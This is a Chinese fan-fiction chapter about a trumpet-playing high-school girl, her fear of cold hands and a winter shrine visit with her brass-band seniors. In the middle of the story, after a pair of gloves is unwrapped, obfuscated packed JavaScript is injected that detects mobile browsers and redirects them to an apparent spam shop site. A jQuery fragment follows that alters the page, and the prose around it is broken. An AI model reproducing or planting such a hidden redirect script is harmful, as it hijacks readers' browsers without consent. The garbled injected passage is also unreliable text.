*


    琴吹悠讨厌冬天。


    冬天,只要在室外待十分钟,手就会被冻僵。


    被冻僵后,手指的灵活度会大幅下降,从而影响演奏。


    现在的琴吹悠早已学会了如何保暖,如何迅速让自己的手指恢复状态,如何在演奏出现小意外时,自然地继续演奏下去。


    但小时候的琴吹悠不擅长这些。


    她还记得第一次小型演奏会,音乐厅离家很近,爸爸妈妈从外地赶来。


    为了不让他们急于赶路,她告诉他们,自己一个人也能及时从家里抵达演奏厅。


    上台前,她意识到自己的状态不对劲。


    发红的手指像生锈的齿轮,她焦急地想让它们正常运转,直到走上那个亮堂堂的舞台,它们也没能照常转动。


    气息、指法,那些本该刻在大脑里的东西,全都被抛至九霄云外。


    那是一场失败的演奏。


    坦白说,她不记得自己是怎么吹完的,也不记得自己是怎样走下舞台。


    她只记得赶来现场的爸爸妈妈,给下台的她一个大大的拥抱,笨拙地安慰着“下次会吹得更好”。


    她知道自己不讨厌冬天。


    只是讨厌失败的自己。


    -


    “小悠,要出门了吗?”琴吹妈妈看了看裹成球的女儿,浑身上下全副武装,戴着厚厚的手套,围巾捂着脸,只露出一双扑闪扑闪的眼睛。


    她原本想叮嘱女儿多穿点衣服,看到这一幕,一时间卡了壳。


    “唔…早去早回?”


    琴吹悠点点头。


    宫城县,比京都小很多。


    从家到神社,只需要走五分钟。


    出门的人大多成群结队,要么是同龄的玩伴,要么是一家人。


    琴吹悠顺着人流,穿行其中。


    她似乎是最早到神社的人。


    琴吹悠环顾四周,没有找到吹奏部的同伴,于是拍了拍长椅上的雪,轻巧地坐了上去。


    手裹得太厚,划手机也不方便。


    她索性把手机放在口袋里,静静地看着雪。


    汇合的地方在山脚,而真正祈福的地方在山顶,需要攀爬数百级台阶。


    坐在这里眺望远处的山顶,漫山裹上了银白色的雪。


    她想起排球部的人都会早起,在盘山路上跑圈——简直是一群精力旺盛的超人。


    光是想想就好累。


    把自己想累了的琴吹悠又缩成一团,今天的羽绒服是纯白色的,她坐在长椅上,一动不动地cos雪人。


    -


    “苗子,那边有只好小的雪人!”


    “笨蛋,那是真人啊。”


    浅川栀子眯眼:“怎么感觉有点像琴吹学姐。”


    “因为就是琴吹呀。”笹原学姐示意她们噤声,蹑手蹑脚绕到琴吹悠的身后,隔着毛绒帽子揉了揉她的脑袋,“Surprise!”


    理想中小悠炸毛的场景并没有出现,尚存理智的琴吹悠在炸毛前先看了眼几位吹奏部的学妹,压制自己的火力,朝众人笑着招招手。


    笹原学姐深感遗憾地收起了爪。


    一行人向山顶的神社走去。


    “琴吹学姐,你之前来神社祈福过吗?”浅川栀子好奇问道。


    当然没有。


    琴吹悠回忆,过去的冬天,她会舒舒服服地睡个自然醒。


    然后一起床就马不停蹄地开始练习小号。


    祈福没法提升自己的演奏水平,因此被琴吹悠丢进了名为【多余】的垃圾箱。


    她悄悄踢了踢路上的雪团:“来过。”


    “学姐也来过!”浅川栀子怼了怼苗子的手臂,眼神传话。


    [我以为学姐是那种,三百六十五天都在吹小号的人,没想到还有娱乐活动]


    真·几乎全年无休练习的琴吹悠感觉鼻尖痒痒的,疑似撒谎的后遗症。


    笹原学姐轻笑:“这个神社据说真的蛮灵验的,我也想求个签。”


    “求什么?”琴吹悠询问。


    “Love.”


    笹原学姐有点好笑地看着面前一圈嘴巴张成O型的女孩。


    “拜托,我都高中毕业了,想谈次恋爱,不行吗?”


    “什么!”苗子比刚刚更震惊,“笹原学姐没有谈过恋爱吗?”


    笹原摆出被万箭穿心的Pose,敲了敲耿直苗子的脑袋:“没有谈过!”


    浅川栀子淡淡:“没事的,学姐。谈过一段之后就不会想了。”


    琴吹悠眨了眨眼。


    如此[万般皆空],真的是她熟悉的栀子吗?


    “谈恋爱哪有听琴吹学姐吹小号有趣!”浅川栀子眼中闪着光。


    琴吹悠幽幽地收回视线。


    ——还是她熟悉的栀子。


    笹原学姐走到她身边,轻声问着:“偷偷问一下,小悠打算求什么签。”


    “小号。”


    “真的不求恋爱的吗~超灵。”


    琴吹悠拿出挂着小号君的钥匙扣,摇了摇:“已婚,与小号君。”


    笹原:“你们琴痴,恐怖如斯!”


    虽说不信神佛,但事关与小号君的未来,琴吹悠还是相当庄重。


    在心里默念数遍“好签”,轻轻一掷。


    [五湖四海任君行,高挂帆蓬自在撑]


    琴吹悠心满意足地捏了捏小号君。


    “LOVE”


    笹原学姐的话语像魔咒萦绕在耳边,琴吹悠心虚地看向笹原学姐,确认她在认真解签后,盯着手里的签筒。


    就抛着玩玩看,她心想。


    又哄了哄对小号君:我对你才是真爱。


    她摇了摇。


    一根签迫不及待地掉了下来。


    [寻寻觅觅几多秋,一叶扁舟顺水游。放下尘劳抬望眼,佳人含笑立汀洲。]


    “这个签叫,蓦然回首。和小悠你合得来的人,就在身边。”笹原学姐探头。


    琴吹悠思索。


    “学姐,有点不灵。”


    “怎么这么说?”


    琴吹悠认真:“因为我身边,暂时没有出现男性的物种,除了家人和老师。”


    “啊欧。”笹原学姐看向自己手中的签,正好对应她最近喜欢的黏人学弟。


    她还以为很准呢。


    *


    苗子和栀子要去看哥斯拉大战食人魔,琴吹悠对这类恐怖影片退避三舍,栀子一步三回头地和她道别。


    “又事要问我?”笹原学姐笑着说,“心事都写在脸上了。”


    琴吹悠刚想开口,嘴便被笹原学姐提前捂住。


    “我有件事要抢先一步说。”


    笹原学姐从挎包里拿出一份小礼盒:“打开看看?”


    琴吹悠小心翼翼地找到包装的衔接处,把包装纸近乎完整地保留了。


    打开礼盒,里面是一双手套。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228645|197584||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>笹原学姐摆弄着:“这可不是一般的手套。”


    她按下一侧的按钮:“戴上试试。”


    琴吹悠脱下自己的手套,戴了上去。犹如被柔软的手牵住,她的手指几乎立刻暖了起来。


    “猜猜我第一次见你是什么时候?不是在青叶城西,是在京都的音乐厅。”


    琴吹悠怔愣着看着她。


    “我那时候也没多大,刚学乐器,刚好爸爸妈妈带我去京都玩,顺便带我听听同龄人的演奏。”


    琴吹悠垂下脑袋。


    那一定是、超级丢人的初遇。她对那次演奏几乎没有印象,只觉得自己在发抖。


    ——“我在想,怎么会这么厉害!你当时比我矮一个头,就跟现在这样,好像这么多年也没长很高嘛。”


    琴吹悠忍不住反驳:“是因为学姐你有一米七。”


    她一米六五,根本不算矮。


    “那时候,全场都在鼓掌,我妈还说——要是你吹得这么好,我天天在家听你练。”她笑着回忆,“你知道的,吹奏乐一开始学,又响亮又难听,我家狗狗听了都跑到院子里去了。”


    琴吹悠蜷了蜷垂落的手指。


    原来那天,有很多人在鼓掌吗。


    “不过呢,我觉得你一定很冷。”她说,“因为吹完之后,我才觉得你在抖,不过可能是我的错觉。”


    “但是,从那天起,我就想着如果我们以后认识了,我一定会送你一双手套,就像这一双。”


    笹原学姐戳了戳呆呆的琴吹悠:“快点评价一下学姐的礼物。”


    琴吹悠缓缓地举起手,双手合住,捧起笹原学姐的脸颊:“学姐的脸是什么感觉?”


    “暖和。”


    “……我也是。”


    “小悠,好委婉,我听懂了,还想听直球。”


    “我没长嘴!”


    笹原学姐笑得前俯后仰:“好啦,你想问我什么?”


    琴吹悠拉住她的手,挠了挠笹原学姐的手背,示意她张开手心。


    往手心里塞了个平安符,她自己做的。


    “学姐,为什么一定要我当吹奏部的部长。虽然我被激将法激了,但你知道吧,我并不适合。”她困惑地问。


    “你之前跟我说过,你的老师说,想要更上一层楼,或许可以去吹奏部看看。”笹原学姐把平安符小心收纳到夹层,“学姐我苦思冥想,终于明白了其中的真谛。”


    “…我都没想通。”琴吹悠的老师从小教她吹小号,知无不言,唯独在这件事上化作谜语人,告诉她要靠自己开悟。


    笹原学姐也高深莫测:“这个秘诀,我也无法直接传授给你,但是,只要你当好部长,就能自己悟到!”


    琴吹悠幽幽:“这是什么新型的坑蒙拐骗手法吗?”


    “保真,小悠信我。”


    琴吹悠:“好吧。”


    既然如此…


    琴吹悠翻开手机备忘录,出示自己安排的吹奏部日程表:“学姐,你看看我的规划。”


    笹原学姐一眼扫去,密密麻麻的安排,她横竖看了半天,才从缝隙里看出字来,整页都写着五个大字:疯狂地练习。


    笹原学姐倒吸一口凉气。


    “小悠…”


    “嗯?”


    “不是所有的人都能接受这——么长的练习时间,你多跟小栀子商量,民主安排。”


    下一届吹奏部的孩子们,这是前部长能为你们做的最后一件事了。